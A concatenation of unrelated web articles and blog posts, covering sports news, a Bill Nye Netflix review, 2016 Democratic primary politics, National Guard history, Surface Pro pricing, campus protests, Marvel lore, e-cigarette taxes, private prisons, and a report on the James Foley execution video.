“You want to take the number of plays into consideration. That is always important. But also that we have three games in 11 days, that factors as well with some travel in there in two out of the three games,” the coach said. “We want to take a good look at some guys in the middle and the bottom end of the roster and give guys who are competing for spots and jobs an opportunity to prove themselves.”
Injury Updates
McAdoo said that wide receivers Darius Powe (hamstring) and Dwayne Harris (upper body) are unlikely to play Monday. Cornerback Eli Apple (ankle) is questionable.
McAdoo was asked if the Giants had been paying attention to HBO’s “Hard Knocks” since they play the featured Tampa Bay Buccaneers this season.
Posted by Jess on April 24, 2017
This is not an article I wanted to write.
This weekend I watched all 13 episodes of the new Netflix series, Bill Nye Saves the World. And there’s only one word to describe my mood: disappointed.
I probably don’t need to tell you about my love for Bill Nye. If you’ve listened to anything I’ve said here on Nerdy Show, you know it runs deep. Bill helped develop my love of science. He showed me that science could be “cool” and I could be “cool” for liking it. Bill Nye the Science Guy is a major reason I became an engineer.
So I was excited for his new show. I really, truly was. But Bill Nye Saves the World is not a reincarnation of the television show that ignited my love of science. At best, it’s an awkward attempt at cashing in on childhood nostalgia. It’s a show that has no idea what it is and who it’s for. Is it meant to teach people more about complex scientific principles? Or is it more of a science-y Daily Show with correspondents mocking creationists and conspiracy theorists?
After 13 episodes, I’m still no closer to an answer.
There’s so much broken about this show, but for the sake of simplicity, I’ll narrow it down to four core components: a live studio audience, weird celebrity appearances, unfocused panel discussions, and a lack of substantive science.
The Live Studio Audience
Seemingly innocuous, the live studio audience is hard to pin down as a symptom or the cause of the show’s identity crisis. Bill Nye Saves the World‘s crowd is less like the benign presence of a talk show audience and more like a sitcom laugh track. Having this comedic monkey on the show’s back puts an emphasis on Nye portraying himself as an ignoramus or making the cheapest jokes to garner laughs.
A major focus of the show’s “comedy” is laughing at the “crazy old scientist” as he tries to explain why something’s important. Wait- isn’t he here to “save the world”? Hasn’t the point of Bill’s “Science Guy” shtick always been as a person of some authority? Now that he’s going to “save the world” it should be doubly so, but instead your host is “Bill Nye: The Science Goof.”
Weird Celebrity Appearances
Does any of this make sense to you? Zach Braff randomly stands up and proclaims that he’ll shut up about climate change when the world does something about it. Steve Aoki, the electro house musician, helps Nye with an experiment on homeopathy. Project Runway‘s Tim Gunn puts on a fashion show of families who conceived thanks to in vitro fertilization. Rachel Bloom sings weird songs about the creation of the universe and sexuality.
Unlike all the colorful asides that made Nye’s original show great, all of these moments were hollow and in large part detracted from any kind of point they were making. The only apparent function of these celebrity bit parts was to pad the show’s notoriety. Fair enough, but these tactless appearances kicked the show right in its credibility. Only a handful of these moments shine; like when Alton Brown appeared in a sequence equating science to cooking. The pairing seemed natural, and the two played extremely well off one another.
Unfocused Panel Discussions
In each episode, Nye collects a panel of experts to discuss the topic de jour. In some cases, the panel consists of opposing views. This has the potential to create an incredibly interesting conversation, but instead, the discussion diverges so much that the editors have to use jump cuts to create a cohesive story. To make matters worse, any panelist whose opinion differs from those of the scientists is immediately made the fool. One panelist was attempting to argue in favor of alternative medicine, yet could hardly get a word in edgewise. (Though, who knows what really transpired between those jump cuts.)
Each and every one of these segments was pointless. They either played too short to accomplish anything or were damning of Nye and the show’s producers. I mean, if the whole point of bringing on dissenting views is to shut them down and shit all over them, well, that’s not what science is about and you can’t change the world by preaching to the choir.
A Lack of Substantive Science
Here’s the real issue with the series: it lacks any substantive science. The greatest part of Bill Nye the Science Guy was that you learned something in every episode. Those old episodes still hold up and even as an adult can be a fun refresher course on the science we take for granted. None of Bill Nye Saves the World‘s 13 episodes offered me any new or enriched perspectives.
Every discussion was at an extremely high level. The earth is warming because of the greenhouse effect. IVF helps couples conceive who aren’t able to normally. Vaccines help us eradicate devastating diseases. For a show designed for adults, I’d expect there to be a deeper exploration into these topics — at least some education in the intricacies.
I’ll admit that I’m probably a little more science-literate than most, but not learning a single thing from a Bill Nye show? That’s the most heartbreaking thing of all.
C’mon, Jess. Aren’t There ANY Redeeming Moments?
During the opening segments, when Nye is in teacher mode, summarizing the episode’s topic, he shines. (Though he really doesn’t hit a stride here until episode 4.) If the show gets renewed for a second season, I would love if they went back to basics and focused on what made the original series work. Bill, in his lab, teaching us science. He doesn’t need to make absurd, fist-bumping efforts to be cool or relatable to millennials – he just needs to be The Science Guy.
Until then, should you be looking for a Bill Nye fix, there’s always the original show. Netflix has 31 episodes of Bill Nye the Science Guy ready and waiting to bring you laughs and learning.
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As one of the driving forces behind the Knicks-Nets trash talk this summer, Pierce was asked about J.R. Smith, who has made headlines of his own through a surprise knee surgery, a title guarantee and a five-game suspension for violating the league's substance abuse policy.
Maybe in a different environment—like, one where people weren't trying to raise money for autism-related charities—Pierce would have responded with more of his usual daggers. Instead, Pierce just said, "Who?" which may have served the same purpose.
"Who are we talking about right now?" Pierce asked rhetorically, as quoted by Tim Bontemps of the New York Post. "Exactly."
As I've stated several times, this trash talk is getting old and I'm not certain that it was every interesting.
In other Knicks news:
• Jared Zwerling, who now works at Bleacher Report, claims the Knicks coaches want to sign Earl Barron, but the front office hasn't been convinced: "A second source familiar with the Knicks' free-agency plans confirmed they are interested in Barron, 32, who appeared in seven games (six starts) for the Knicks in 2009-10, averaging 11.7 points and 11.0 rebounds over 33.1 minutes. Last season—while he only played in one regular-season game for the Knicks, an 11-point, 18-rebound performance on April 17 against the Atlanta Hawks—the source said he impressed Knicks coach Mike Woodson during his short stint."
• Zwerling also reported that the Knicks hired a new trainer who was recommended by Smith.
It’s a tactic that has some Democrats shaking their heads, while allies of Sanders, the independent senator from Vermont, cite it as evidence that their candidate is gaining traction.
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“When your opponents and people who represent them wade into the conversation with attacks against you, for us it’s a recognition of the fact that something must be working,” said Tad Devine, a senior adviser to Sanders. “It’s a basic rule in politics that you don’t attack somebody if they are not doing well.”
Sen. Claire McCaskill Claire Conner McCaskillPoll: 33% of Kentucky voters approve of McConnell McCaskill: Lindsey Graham 'has lost his mind' Trey Gowdy joins Fox News as a contributor MORE (D-Mo.), a Clinton backer, launched the sharpest attack yet on Sanders on Thursday morning. Appearing on MSNBC’s “Morning Joe,” McCaskill assailed him for having “an extreme message” and being “unrealistic.”
The Missouri senator also complained that the media were “not giving the same scrutiny to Bernie Sanders that they are giving to certainly Hillary Clinton and the other candidates.”
Earlier this month, another Clinton supporter, Rep. Luis Gutiérrez (D-Ill.), took the fight to Sanders on the issue of immigration.
“I don’t know if he likes immigrants, because he doesn't seem to talk about immigrants,” Gutiérrez told Larry King on his show “PoliticKING.”
Recent opinion polls have shown support for Sanders building, especially in Iowa and New Hampshire, the states that hold the first contests in the primary process.
The best result yet for Sanders came on Thursday evening, when a CNN/WMUR poll showed him closing to within 8 points of Clinton in New Hampshire.
But that result was not an outlier.
A Suffolk University poll put Sanders within 10 points of the former secretary of State in New Hampshire, drawing 31 percent backing to her 41 percent. A survey from Morning Consult put the deficit in the Granite State at 12 points. Polling from Bloomberg in Iowa gave Sanders 24 percent in that state to Clinton’s 50 percent.
None of those findings changes the fact that Clinton is considered an overwhelming favorite to win the Democratic nomination.
But they do point to a rapid advance for Sanders, whose support has more than doubled in New Hampshire since he launched his campaign a month ago. The Vermont senator has also drawn large crowds on the campaign trail. Almost 5,000 people showed up to hear him speak at the University of Denver last Saturday.
Even some Democrats who are broadly supportive of Clinton fear that attacking Sanders will only burnish his appeal.
“As candidates rise in the polls, there ... are ways to encourage scrutiny [of them],” said Chris Lehane, who worked in former President Clinton’s White House and on then-Vice President Al Gore’s 2000 presidential campaign. But he added that Clinton backers needed to be very wary of “creating more conflict — conflict that translates into more energy for him.”
Another Democrat strategist, speaking anonymously for fear of repercussions from the Clinton camp, put it more strongly.
“It’s kinda perplexing that Claire McCaskill would go after him in a pointed way,” the strategist said. “It makes no strategic sense. The best response to Sanders is silence. You are going to end up motivating his supporters to become more active, become more vocal — and that is not a good thing for the Clinton campaign.”
The extent to which the jabs from McCaskill had the imprimatur of the official Clinton campaign has become the subject of speculation among Democrats.
The anonymous strategist suggested that she might have been issuing her vigorous criticisms unprompted, perhaps as part of an effort to prove her loyalty to Team Clinton. McCaskill backed then-Sen. Barack Obama (D-Ill.) against Clinton in the bitter 2008 campaign for the White House.
But Devine asserted that “normally those people don’t go on those shows without getting a briefing and being directed in a certain way.” He sought to draw a contrast between such tactics and the Sanders campaign. “We have got to play a different game altogether, with direct contact with voters, a rejection of negative politics, a commitment to issues and substance,” he said.
A Clinton spokesman declined to comment for this story.
The 2016 Clinton campaign is widely seen, by supporters and detractors alike, as being desperate to avoid the errors of 2008, when Obama wrested the nomination away.
Looking back at the earlier campaign, some Clinton loyalists argue she should have gone negative on Obama earlier. But even in 2007, Obama was in a much more competitive position than Sanders is now. This time around, could Clinton’s team use too much force against Sanders, with counterproductive consequences?
“I think the Clinton people would have to say he’s not really a threat, but he’s starting to get a little traction,” said Tobe Berkovitz, a Boston University professor who specializes in political communications. “I don’t think going after Bernie is the best strategy because what you’re doing is giving him bundles of oxygen. On the other hand, if they ignore him, he can generate more and more buzz.”
The other dynamic that complicates Team Clinton’s pushback against Sanders is the degree to which the Democratic primary electorate has moved leftward. A few election cycles ago, establishment candidates such as Gore in 2000 or then-Sen. John Kerry (D-Mass.) in 2004 could assail their left-wing rivals as beyond the mainstream.
But criticisms of Sanders for backing, say, universal healthcare or a new Wall Street tax to pay for vast increases in education spending, would likely backfire, and undo Clinton’s efforts to energize progressives for the general election campaign ahead.
ARLINGTON, Va. -- Over 100 years ago, on August 5, 1917, the entire National Guard was drafted into U.S. Army service for World War I. This represented the culmination of several steps declared by President Woodrow Wilson that would mobilize the National Guard into the "Great War" and which sent troops into Europe for the first time.
This act stands among a series of laws and military decisions in the early 20th century that resulted in the transformation of the National Guard from a traditionally local military organization into professional military force. A little over a year earlier, the National Defense Act of 1916 introduced the modern integration of National Guard Soldiers as an element of the United States Army. It required that Guard members in federal service would serve in the U.S. Army uniform and train to federal standards, in addition to other measures designed to improve readiness and efficiency.
However, the 1916 Act did not authorize the transportation of federalized National Guard troops to a foreign country. The Judge Advocate General of the U.S. Army ruled that the Guard could only be used domestically, owing to the Militia Clause of the U.S. Constitution that only allowed the National Guard in federal status to "execute the laws of the union, suppress insurrection and repel invasions." This phrase alone deemed necessary the draft action.
The mobilization order of June 18, 1916, that ordered the Guard to the Mexican border represented the second milestone among the changes in national defense strategy. It demonstrated the power of the National Guard as the country's principal reserve force for the U.S. Army to be mobilized in a declared national emergency. This gradual evolution of legal precedents allowed the Army ample opportunity to make corrective action and improve the deployment process. Heightened national security concerns earlier in 1917 allowed the National Guard's mobilization to move forward after the draft order of August 5.
The draft's impact was immediate. On June 30, 1917, the Regular Army consisted of 250,357 officers and enlisted men. By August 5, 1917, through means of incremental federalization of state National Guards and the draft order, 379,323 officers and enlisted men of the National Guard were drafted into the federal service.
With one pen's stroke, the Operations Department within the Office of the Chief of Staff of the U.S. Army more than doubled the size of the Army. The National Guard's presence proved essential to raise the significantly larger fighting force, and it added the element of experience through its training completed in the four southwest border states during 1916 - 1917.
Legal considerations remained paramount in this time of war. Statutes and laws regulated the operations of the militia from its very beginning in colonial New England. Thus, the draft order only continued the tradition of commitment to rightful principles administered under these conditions.
On July 18, 1917, War Department General Order 95 established the first 16 National Guard divisions. A few weeks later after the draft order, the 42nd "Rainbow" Division mustered. From August 5th throughout the remainder of 1917, these units traveled to their respective training across the country to prepare for the voyage to Europe and the fight against the Central Powers.
The settlement of legal and administrative matters allowed the federal government to assemble and accelerate the development of a National Army, and federal priorities turned to the training and the assembly of a highly effective fighting force. The German Empire proved every bit a formidable opponent, but the presence of the National Guard and the cumulative services proved decisive for the Allies. After the war's combat phase ended on Nov. 11, 1918, the German High Command's appraisal of American combat divisions assessed that eight divisions' effectiveness earned ratings of "superior to excellent." Among those eight, six were National Guard divisions.
From the end of the month, the Surface Pro will be available in 16 countries in Europe: Austria, Belgium, Denmark, Germany, Finland, France, Italy, Ireland, Norway, Luxembourg, the Netherlands, Portugal, Spain, Sweden, Switzerland, and the UK.
However, there's a difference of €150 (£127) between Europe's cheapest and most expensive 64GB Pro, and a €163 discrepancy between the highest and lowest-cost 128GB version.
Switzerland is the cheapest place on the continent to buy a Pro, charging CHF 959 (€770), or CHF 1,059 (€850) for the 128GB. Sweden is the costliest, with a 64GB Pro costing 7,895 SEK (€920) while a 128GB version setting shoppers back 8,695 SEK (€1,013).
Fellow Nordic countries Denmark and Norway are also at the more expensive end of the scale. In Denmark, the 64GB version costs DKK 6,799 (€912) while the 128GB goes for DKK 7499 (€1,006). Their Norwegian counterparts are priced at NOK 6690 (€890) and 7390 (€983).
For a number of countries whose currency is the Euro — Austria, Belgium, Finland, France, Germany, Luxembourg, Portugal, and Spain — pricing is standardised at €879 for the 64GB Surface Pro and €999 for the 128GB.
Not all Euro-using countries will pay the same, however. Italy will pay €20 extra for the 64GB, but the same price for the 128GB, while the Netherlands will pay slightly more for the 64GB at €886 but slightly less for the 128GB: €986.
The UK, meanwhile, pays slightly less than most European countries — £719 (€848) and £799 (€942) for the 64GB and 128GB versions respectively.
However, European consumers are still shelling out more than their counterparts elsewhere. In Australia, which will get the Pro around the same time as it launches in Europe, customers will pay AU$999 (€759) and AU$1,099 (€835) for the 64GB and 128GB versions.
US shoppers are still getting the best deal, though. A 64GB Pro costs $899 (€698) while the 128GB is $999 (€776). The Surface Pro went on sale in the US in February .
“We're still here, we're still fighting and basically, we're not going anywhere," said a weary-looking, third-year Native American studies major, Zoila Lara-Cea.
They are protesting cuts resulting from a comprehensive audit of university operations conducted by the consulting firm Bain and Company. The auditors recommended trimming two-and-a-half staff positions from the Ethnic Studies Department.
Even though cuts are distributed university-wide, “people of color are targeted first,” asserted third-year ethnic studies student Edward Rivero.
“This institution is very white-dominated,” added Luzilda Carrillo, a fifth-year student majoring in integrative biology and anthropology.
Over the years, students and faculty in the ethnic studies department have grown accustomed to protesting. Present at the current demonstration were several professors, who had advocated for the department’s creation in the late 1960s.
As a UC student, Harvey Dong, now an ethnic studies lecturer, participated in the 1969 Third World Liberation Front, a movement that lead to the creation of the department, which became a model for similar programs nationwide.
At the time, Dong and fellow students sought the creation of an entire Third World College devoted to the study of marginalized groups, but settled for a department.
Professor Emeritus Carlos Muños, also present at the protest, benefited from Dong’s actions and became the first chair of Chicano Studies at California State University, Los Angeles.
Spearheading this new field, Muños and Dong recalled their responsibility to respond to a basic gap in college curriculums.
A Mexican American, Muños said he remembers “being a graduate student and not being able to find books on ourselves.” He added, “At that time we were an invisible people in this country.”
While ethnic studies have since matured, Muños said students must continue to fight for the survival of the field.
“We have to go out of our way to legitimize ourselves,” he said. “Students have had to struggle on our behalf.”
At UC Berkeley, cuts will mean reduced office hours and unanswered phones. The history and psychology departments face similar cuts.
However, Carleen Sanchez, vice president of the National Association for Ethnic Studies, said that the protest represents a broader cause.
“Ethnic studies are under assault,” she stated in a phone interview.
“Administrators do not recognize the importance of ethnic studies,” Sanchez continued. “Given our origins in civil rights, I think that that type of direct action and individual sacrifice is part of our history.” She emphasized, “A hunger strike is not silly.”
Sanchez cited a law signed last May by Arizona Governor Jan Brewer that bans classes “designed primarily for pupils of a particular ethnic group,” or which “advocate ethnic solidarity instead of treatment of pupils as individuals from K-12 classrooms.”
At Berkeley, though, protesters may have to remain patient. Claire Buss, two-time hunger striker who hadn’t eaten in 176 hours when interviewed for this story said she can wait.
“I’m feeling great,” she said. “I could go forever.”
In this free course, veteran sound engineer Vishal Nayak, owner of Black Lodge Recording, will take you through the process of recording a professional-grade demo in a day using only two microphones. We'll cover what's known as the "basics" — how to record all of your instruments and sort out your arrangement so you have a track you can be proud of. Throughout the course, we'll follow along the recording of Arthur Lewis' original track "We Ride" to illustrate the concepts being taught.
I would encourage you to read that one in full, though this should certainly be interesting enough on its own.
For the vast majority of my blog posts about Marvel comic books I refer to the Marvel Database, an unofficial wiki updated by fans. While that format can and does lend itself to the occasional error, the citations at the bottom of the page referring to specific runs and issue numbers allow for fact-checking if needed. At this point in time there are no direct mentions to K’un-Lun being anything other than one of the Capital Cities of Heaven, besides a heading for the alien race the H’ylthri with no text underneath it.
However a number of other sources have slightly differing origins. Comic Vine, another well-regarded comic book wiki, mentions on its entry for the city that: “K’un-Lun is the stronghold of a colony of humanoid aliens, place of origin unknown, whose spaceship crash-landed upon a small, extradimensional world, approximately a million years ago.”
Unfortunately there are no citations listed anywhere. This tidbit of information is also listed on Marvel Directory, a largely defunct site that appears to have been last updated in 2015. Their entry categorizes K’un-Lun as an “Alien world” and only refers to the issue where the location first appeared, Marvel Premiere #15. As far as anything from Marvel themselves, the page on the publisher’s own wiki currently does not exist.
An explanation for these unsubstantiated claims can be found on The Appendix to the Handbook of the Marvel Universe which has been compiled by one Jeff Christiansen, which exists to “stimulate interest and supply information about the vast universe Marvel has created (and to have fun).” It should be clear that this is a passion project of his, and not an official source.
On the page for Yu-Ti, one of K’un-Lun’s rulers, he reveals:
“The Official Handbook of the Marvel Universe I#6: K’un-Lun entry revealed(?) that the natives of K’un-Lun were actually aliens who had crash-landed upon a small extradimensional world a million years ago. I don’t THINK that information was mentioned elsewhere prior to that, but I thought the H’ylthri had described them as aliens at some point…meaning only that they weren’t native to K’un-Lun (meaning possibly from Earth).”
Down below that are comments from another contributor, Daniel Campbell, who searched for further clues in the text in support of the place being founded by aliens:
“…the idea that the people of K’un-Lun are the descendants of extraterrestrials has not been substantiated and in fact has been contradicted somewhat. Chris Claremont first introduced the idea that the people of K’un-Lun were “alien” to the H’ylthri-dominated planet in Iron Fist #2 and I have no doubt that the back-story which he had planned for them would have been somewhat that they were extraterrestrials who had been trapped in K’un-Lun since their spaceship crashed there long ago. Unfortunately, as with so many of his storylines, Claremont never got around to developing that back-story and so it appeared only in the pages of the OHotMU [Official Handbook of the Marvel Universe]. Eventually, John Byrne decided to resurrect Iron First and, in the course of the storyline which did so, he consistently referred to the people of K’un-Lun as “human” (as in Doctor Strange’s statement that “The H’ylthri had gained dominance on that world long before the human settler came.”). In Namor I#24 the Plantman stated: “The H’ylthri were seeking a means to attack the world from which their greatest enemies originated.” I take this to mean that the people of K’un-Lun came from Earth. Sure, these statements could be explaiend away (like, maybe the H’ylthri lied to the Plantman) but until it is, it remains something that contradicts OHotMU material.”
• No thank you to the “classic love story of our time” being about a white soldier and his Asian prostitute. I’ve seen enough stereotyping of white male saviors and submissive Asian sex vixens to brainwash a nation.
• No thank you to the two white men who were so moved by a picture of a mother bidding farewell to her Amerasian child that they were compelled to tell their story. Most of the Hapa (Amerasian) children you write about were left in Vietnam by white men. We can tell our own stories. Thousands of Asian American writers, actors and performers do so daily, but apparently it takes white male perspectives to be profitable.
• No thank you to the argument that this musical opens doors for Asian American actors. I’ve seen enough Asian barmaids, soldiers, prostitutes and pimps on television to last a lifetime. Hollywood movies consistently pair exotic Asian women with white men while Asian men are reduced to cooks, ninjas and idiots.
• No thank you to the Asian American activists who protest only why an Asian American is not cast in the role of the Eurasian engineer. If the character is Eurasian, both white or Asian castings are equally incorrect. Amerasians are pulled to either side for our support when needed, then discounted as not being really Asian or really white.
D.C. has already experienced firsthand the effects of excise tax hikes. When it raised the tax on cigarettes by 25 percent in 2009, instead of revenue increases, the city lost income. As Reason's J.D. Tuccille noted, "Politicians simultaneously want to maximize revenue and raise taxes so high that they discourage…socially unacceptable tobacco consumption. Those are not compatible goals."
High excise taxes cause consumers to take their dollars elsewhere, Tuccille argues. And D.C. vape shop owners see that reality as the end of the line for their burgeoning businesses.
"That would double our prices, at least, and make it very difficult to stay in business," says Eric Miller, owner of DC Vape Joint, one of the handful of local shops specializing in e-cigs. "There’s no way people are going to spend double the price for the same thing they’ve been getting. They’ll just go to Virginia or Maryland, or they’ll go online."
Sean Robinson, owner of District Vape, echoed Miller's concerns: "The tax is really geared toward big tobacco, which can take the hit," he says, but "mom-and-pop shops" like his won't survive if the budget passes in its current form. Several of the more ubiquitous e-cig brands (like Blu) are owned by tobacco conglomerates, but shops like Miller's and Robinson's specialize in smaller boutique brands.
"Taxes like this hand the market over to the bigger companies," says Alex Clark, legislative director of the Consumer Advocates for Smoke-Free Alternatives Association (CASAA).
The CASAA website features a post asking visitors to call and voice their concerns to the D.C. Council, and Miller and Robinson have been asking the same of their customers. But Robinson says he doesn't think the Council realizes the effect the change will have on local businesses like his.
The D.C. budget amendment isn't the first time lawmakers have tried to morph the definition of "tobacco" to include e-cigarettes. In January, an Arkansas state representative introduced a dedicated vaping tax, which is still under consideration. And in December of last year, Reason's Jacob Sullum reported on an attempt by three members of Congress to retroactively include e-cigs in a Master Settlement Agreement (MSA) that resolved state lawsuits against the tobacco industry by restricting Big Tobacco's ability to advertise. As Sullum pointed out, the maneuver wouldn't work:
First, as Michael Siegel notes on his tobacco policy blog, the MSA defines a cigarette, in part, as a product that contains tobacco. E-cigarettes do not contain tobacco. Durbin et al. argue that they sorta do, "because their key ingredient is nicotine, which is produced from tobacco leaves." By the same logic, THC is marijuana, quinine is cinchona bark, electricity is coal, milk is a cow, and maple syrup is a tree.
The D.C. Council is scheduled to vote on the proposed budget June 30.
http://rt.com/usa/news/reopen-attacks-building-two/
Those who lost loved ones during terrorist attacks at New York’s World Trade Center are asking the US Attorney’s office to reopen a case related to September 11.
The 9/11 Parents and Families of Firefighters & WTC Victims, along with the Skyscraper Safety Campaign, is demanding that all evidence from a Ground Zero high-rise that was damaged as a result of the terrorist attacks be reviewed again in full, citing a lack of accountability in the death of two firefighters.
The former Deutsche Bank building in lower Manhattan was damaged during the 9/11 attacks but remained standing in part for years after. A 2007 blaze in the building, however, left two firefighters dead and activists are saying questions are being left unanswered about the incident.
According to a statement issued by the two groups, numerous violations in the building were never reported. A construction contractor and two supervisors were acquitted of manslaughter, among other charges, in what led to the two 2007 deaths.
The Deutsche Bank skyscraper was opened in 1974 and was damaged by the debris that blew through New York following the collapse of the Twin Towers. A 2005 investigation of the 41 story of ruins that once housed the financial institute revealed human remains on the roof. An investigation then opened up to analyze the rest of the building for missing persons. Deconstruction finally began in March of 2007, but a seven-alarm fire that summer caused by crews working on the dismantling of the structure led to the death of two city workers.
Joseph Graffagnino, 33, and Robert Beddia, 53, died from smoke inhalation and carbon monoxide poisoning on the fourteenth floor of the building on August 18, 2007. An additional 115 firefighters were also injured responding to the blaze.
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The private prison giant Corrections Corporation of America has made states an offer they can—and should—refuse. That’s the message that went out to state governors on Thursday in letters signed by 60 policy and religious groups. The letters urged the governors of all 50 states not to take up a blanket deal CCA has put forth to buy and privatize their state prisons in return for a promise to keep those prisons filled.
Two weeks ago, the Huffington Post revealed that CCA was reaching out to states, offering to buy their prisons as a way to deal with their “challenging corrections budgets.” The company is proposing that it receive, in exchange for the cash, a 20-year management contract that would require the states to keep their prisons at least 90 percent full for the duration.
This power play by the private prison firm may indicate some anxiety in what has historically been a growth industry. (See charts below.) Beginning in 2009, for the first time in nearly 40 years, the overall US prison population declined slightly. And in several states, plans to privatize prisons have been scaled back, stalled, or rejected.
The most notable of these defeats came last month in Florida, where the state Senate narrowly rejected a plan that would have turned over more than two dozen Florida prisons to private companies. Had the proposal moved forward, it would have transferred 14,500 prisoners into private hands and represented “the largest single contract procurement in the history of our industry,” George Zoley, CEO of the GEO Group, told investors. (GEO, headquartered in Florida, is the nation’s No. 2 prison corporation behind CCA.)
The Florida Senate has a strong Republican majority, but nine GOP senators broke ranks and voted with Democrats against privatization, reportedly citing public safety concerns. Within days of the vote, Florida Gov. Rick Scott indicated that he hadn’t given up on the plan, which is supposed to save the state $16.5 million a year. “I’m disappointed the Senate didn’t do that; I’m going to look at what I have the opportunity to do,” he told reporters. Scott also said he was exploring opportunities to pursue the massive prison privatization plan unilaterally, presumably by executive order.
More private prisoners (top) beget a kickass stock (above).
From Mother Jones‘ July/August 2008 prisons package.
The governor made the unlikely promise that the money saved on prisons could be spent on education and health care, while lawmakers supporting the bill warned that those areas might be cut further if the privatization plan fizzles. But there are other options that neither Scott nor most Republican legislators are willing to put on the table.
Florida’s overall corrections budget topped $2.3 billion in 2010—but contrary to Scott’s claims, the state spends relatively little per prisoner. (On its website, the Florida DOC boasts that most of its prisons are not air-conditioned, and that its inmates work long hours in prison-based fields and factories.) Private prison companies, meanwhile, are notorious for saving money by depriving prisoners of decent food and health care, but in Florida they would be starting out from an already lean position. Some lawmakers have expressed doubt that the savings would ever materialize.
Florida hosts 100,000-plus inmates. New York, with a larger population, has only 56,000.
Corrections cost so much in Florida not because of profligate spending, but simply due to the sheer number of inmates. Thanks largely to laws dating back to the 1990s, which raised mandatory sentences and cut opportunities for parole, the Sunshine State hosts more than 100,000 inmates. New York, with a slightly larger total population, has 56,000.
The logical way to save money on corrections is to reduce the prison population. Even get-tough states like Texas, Oklahoma, and Mississippi are now reforming draconian sentencing laws and diverting low-level nonviolent offenders into alternative programs. Not so, Florida. In 2009, as the national prison population declined, Florida’s increased by 1.5 percent, according to a Pew report. The state’s only proposed solution has been this privatization bid.
International judo championship in Ashdod, 2006. Limor Edri
Yasuhiro Yamashita, 53, gold medalist in the open category at the 1984 Los Angeles Olympic Games, said he had invited them to the one-day tournament on Sunday in Fukuoka, western Japan.
"Through exchanges with Japanese and overseas participants, I hope the Israeli and Palestinian children will learn and experience many things and nurture friendship," Yamashita told a news conference.
"One of the most important things in the spirit of judo is to respect an opponent, who is not an enemy but someone who helps you improve yourself," Yamashita said.
During their trip, supported by a group that Yamashita founded in 2006, the children will also join other programs and visit the Hiroshima Peace Memorial Museum tomorrow.
The invitation came after Yamashita and Kose Inoue, another celebrated Japanese judoka, visited Israel and the Palestinian territories in July to hold a workshop for children.
Hayden was involved in a cycling crash five days ago
He was crowned MotoGP world champion in 2006
(CNN) Former MotoGP world champion Nicky Hayden has died five days after being involved in a cycling accident in Italy, according to Italy's ANSA news agency and Red Bull Honda, a sponsor of Hayden. He was 35.
Hayden, the 2006 MotoGP world champion, had been hospitalized at the Maurizio Bufalini Hospital in Cesena, Italy, following the accident last week.
"It is with great sadness that Red Bull Honda World Superbike Team has to announce that Nicky Hayden has succumbed to injuries suffered during an incident while riding his bicycle last Wednesday," Red Bull Honda posted on its website Monday.
"The nicest man in Grand Prix racing"
Thanks for the memories, Nicky. #RideOnKentuckyKid pic.twitter.com/BX4VvGgKWC — MotoGP™ (@MotoGP) May 22, 2017
The statement also said that fiancée Jackie, mother Rose and brother Tommy, who flew in from the US, were at his side.
"On behalf of the whole Hayden family and Nicky's fiancée Jackie I would like to thank everyone for their messages of support -- it has been a great comfort to us all knowing that Nicky has touched so many people's lives in such a positive way," Tommy Hayden said.
Most of the dinosaurs will be created using CG but they did create animatronic raptor heads for the squeeze cage in Owen’s raptor paddock. A practically-built animatronic dinosaur was created for a sequence filmed in Hawaii, but we were not told much about that scene as its a spoiler. (Thus, we probably also won’t see it in the marketing of the film.)
The dinosaurs in Jurassic World will be created using performance capture. Humans are playing the T-rex dinos. Colin Trevorrow went to ILM before production and conducted a ton of tests. They found that when a human is behind the movements you can feel the weight and it feels unlike what we’ve seen before.
They have actors on set who wear lifesize models of the dinosaur heads for the actors to respond to on set.
The film features four key raptors, each of which will be played by a different person to keep the movements consistent from scene to scene.
No dinosaurs in the movie do anything that the closest real animal equivalents can’t do.
One of the themes in the movie is that all of the dinosaurs are organic and the synthetic must die.
All of the issues of the first Jurassic Park have been supposedly “fixed”. The dinosaurs in Jurassic World can mate in the wild but all of the dinosaurs are monitored and tracked at all times. Even the surviving dinosaurs in the closed off section of the island have microchips and are tracked. However those areas of the park like the old visitors center don’t have the security camera monitoring systems of the new areas.
The T-rex from the original Jurassic Park will make an appearance in Jurassic World. She looks a bit older now, and Trevorrow describes her as having a bit of Burt Lancaster thing going on.
Jurassic World will not feature weaponized dinosaurs from the infamous abandoned Jurassic Park 4 script. Screenwriter Derek Connolly actually never read that script.
A video posted on YouTube, later removed, purported to show the execution of James Foley after he recited a statement in which he called the U.S. government “my real killers.” A second prisoner, said to be Steven Joel Sotloff, like Foley an American journalist who disappeared while covering Syria’s civil war, then appears in the video.
The masked executioner, speaking in English with what sounds like a British accent, identifies Sotloff and says that “the life of this American citizen, Obama, depends on your next decision.”
American intelligence officials believe the video is authentic but are continuing to evaluate it, senior U.S. officials said Wednesday morning.
In a statement Tuesday, National Security Council spokeswoman Caitlin Hayden said of the video: “If genuine, we are appalled by the brutal murder of an innocent American journalist and we express our deepest condolences to his family and friends. We will provide more information when it is available.”
The Islamic State released a video claiming it executed Foley.
President Obama was briefed on the video aboard Air Force One as he returned to his Martha’s Vineyard vacation and will be updated on further developments, the White House said.
British Prime Minister David Cameron cut short a family vacation and returned to London to chair emergency meetings on Iraq and Syria.
In an interview with the BBC, Foreign Secretary Philip Hammond acknowledged that the apparent executioner spoke with a British accent and said the video seemed to be genuine.
Hundreds of Britons are believed to have traveled to Syria to fight in the country’s civil war, including many who have joined the Islamic State.
“We’re absolutely aware that there are significant numbers of British nationals involved in terrible crimes, probably in the commission of atrocities,” Hammond said. “Many of these people may seek at some point to return to the U.K., and they would then pose a direct threat to our domestic security.”
A European intelligence official said the British government was examining the video, and the speech of the purported executioner, to compare it with former Guantanamo Bay prisoners and other British residents believed to have joined the Islamic State.
Both prisoners in the video are wearing orange shirts and pants, similar to orange jumpsuits worn by detainees at the U.S. military prison at Guantanamo Bay, Cuba. A similar outfit, believed to be a jihadist symbol of the prison, was worn by Nicholas Berg, an American businessman kidnapped in Iraq in 2004 whose execution by an Islamic State precursor organization was recorded on video and posted online.
Foley, 40, was working in Syria for the Boston-based news Web site Global­Post when he disappeared on Thanksgiving in 2012.
Philip Balboni, GlobalPost’s chief executive and co-founder, said in a statement: “On behalf of John and Diane Foley, and also GlobalPost, we deeply appreciate all of the messages of sympathy and support that have poured in since the news of Jim’s possible execution first broke. We have been informed that the FBI is in the process of evaluating the video posted by the Islamic State to determine if it is authentic. Until we have that determination, we will not be in a position to make any further statement. We ask for your prayers for Jim and his family.”
